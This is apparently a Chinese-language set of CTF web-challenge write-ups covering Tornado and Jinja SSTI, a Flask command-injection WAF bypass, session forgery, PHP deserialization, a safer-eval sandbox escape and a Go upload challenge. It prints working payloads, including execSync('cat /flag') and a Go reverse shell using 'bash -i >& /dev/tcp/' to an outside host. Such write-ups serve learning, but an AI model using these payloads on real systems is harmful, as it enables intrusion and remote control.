打开题目,发现有三个链接,分别看一下
第一个提示flag位置第二个由题目得知,其为tornado里的render函数
第三个给算MD5的式子,结合访问的参数值,猜测如下
filehash=md5(cookie_secret+md5(filename))
首先我们要找到注入点,filename肯定是文件名,那么只好尝试参数filehash
?filename=/flag.txt&filehash={{7*7}}
发现跳转另一个页面,那么再次输入{{7*7}}
发现存在注入点,并且被过滤了
这里关键是要去得到cookie_secret的值,借助百度,Tornado框架的附属文件handler.settings中存在cookie_secret,修改下payload
得到cookie_secret后,用脚本生成拼接后的MD5值
(注意是点号连接)
源码
from flask import Flask, request, make_response
import uuid
import os
# flag in /flag
app = Flask(__name__)
def waf(rce):
black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
for black in black_list:
if black in rce:
return False
return True
@app.route('/', methods=['GET'])
def index():
if request.args.get("Ňśś"):
nss = request.args.get("Ňśś")
if waf(nss):
os.popen(nss)
else:
return "waf"
return "/source"
@app.route('/source', methods=['GET'])
def source():
src = open("app.py", 'rb').read()
return src
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8080)
简单的flask框架,在./
的路由下存在GET参数,然后绕过waf过滤来命令执行
不难发现黑名单过滤了/
,这里用的是pwd构造出/
,然后结合存在app.py,我们用cp命令把/flag
复制到app.py里面
我们先看一下怎么利用pwd构造出/
首先pwd表示的是当前工作目录
那如果我们构造以下语句
cd ..&&cd ..&&pwd
我们要把flag复制到app.py,但是我们不知道当前目录是什么,所以多尝试看看需要几个cd ..
payload
cp $(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&echo $(pwd)flag) app.py
考虑到过滤,先用%09代替空格,然后url编码一下
cp%09%24%28cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26echo%09%24%28pwd%29flag%29%09app%2Epy
由于不能直接打开app.py,我们需要访问./source
打开
得到flag
先创建一个静态访问的文档
mkdir%09static
payload
tar%09czf%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag.tar.gz%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag
//等效于tar czf static/flag.tar.gz /flag
注:czf为tar命令的参数
然后访问./static/flag.tar.gz
下载flag
考点:seed生成伪随机数,session伪造
打开题目,发现可以读取用户信息
这里查看下网络,发现是python2环境
读取下app.py
源码如下
# encoding:utf-8
import re
import random
import uuid
import urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! Read somethings'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__ == '__main__':
app.run(debug=True, host="0.0.0.0")
源码非常简单,只要session中的username值为fuck即可
我们看看如何伪造session,下面给出key的获取方式
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
uuid.getnode()
这个代表着Mac地址,我们尝试读取一下(file用load_file替换)
?url=local_file:///sys/class/net/eth0/address
然后再写脚本去爆破得到key(注意这里是python2环境)
import random
random.seed(0x0242ac02aff2)
print(str(random.random()*233))
然后解密一下
修改为fuck,再加密得到cookie值
bp抓包修改,得到flag
考点:MD5强等于,sha1强等于,date函数特性
源码
a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));
分析一下,首先判断a和b是否为数组,然后进行判断MD5和sha1是否强等于;如果为true,那么将file值传入date函数并赋值给变量content;使用 uniqid() 生成一个唯一的标识符,并将其与 .txt 扩展名拼接为文件名,赋值给变量 $uuid;最后就是进行正则匹配,读取文件
这里绕过强等于可以利用数字1和字符1
分别赋值即可绕过,那么我们再来看看date函数,我们本地测试下
运行结果为fSaturdayam9
,可以发现字符串的l
和g
变成了Saturday
和m9
,当我们试试防止其转义添加反斜杠时,成功构造出/flag
所以源码中的file值为/f\l\a\g
exp如下
a=1;
$A->b='1';
$A->file='/f\l\a\g';
echo base64_encode(serialize($A));
考点:ssti
打开题目,尝试输入{{7*7}}
发现报错,说明存在过滤
替换一下
{%print(7*7)%}
成功注入
我们可以bp抓包fuzz测试下过滤了什么
可以发现class也被过滤了
payload
{%print(lipsum.__globals__['o''s']['pop''en']('env').read())%}
注:过滤了popen,用字符串拼接读取环境变量
得到flag
考点:nodeJs,整数溢出,vm沙箱逃逸
打开题目,查看源码
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
分析一下,当访问./eval
路径即收到请求时,会执行此函数。首先会检测是否为./eval
路径,然后会定义变量delay,初始值为60秒;如果请求的查询参数 delay 是一个整数,那么会将 delay 更新为当前 delay 和 req.query.delay 中较大的值。
if (Number.isInteger(parseInt(req.query.delay)))
观察到会被强制转换为int型,可以利用整数溢出绕过
然后就是./eval
路由,如果请求参数e存在,那么会返回saferEval(req.body.e)
此函数存在命令执行漏洞,搜索一下,会发现要利用vm沙箱逃逸的知识
poc如下
const saferEval = require("./src/index");
const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));
即e的值为process
payload
e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
考点:go文件上传,反弹shell
题目提示没有任何过滤,尝试上传一句话木马
这里发现确实上传成功了,但是看到go help
应该是go语言写的,go 1
提示未知命令
猜测命令构成为
go 文件名 上传文件
也就是说我们如果上传名为run.go的文件
那么将执行go run run.go
,也就是解析我们上传的go文件
go文件反弹shell脚本如下
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}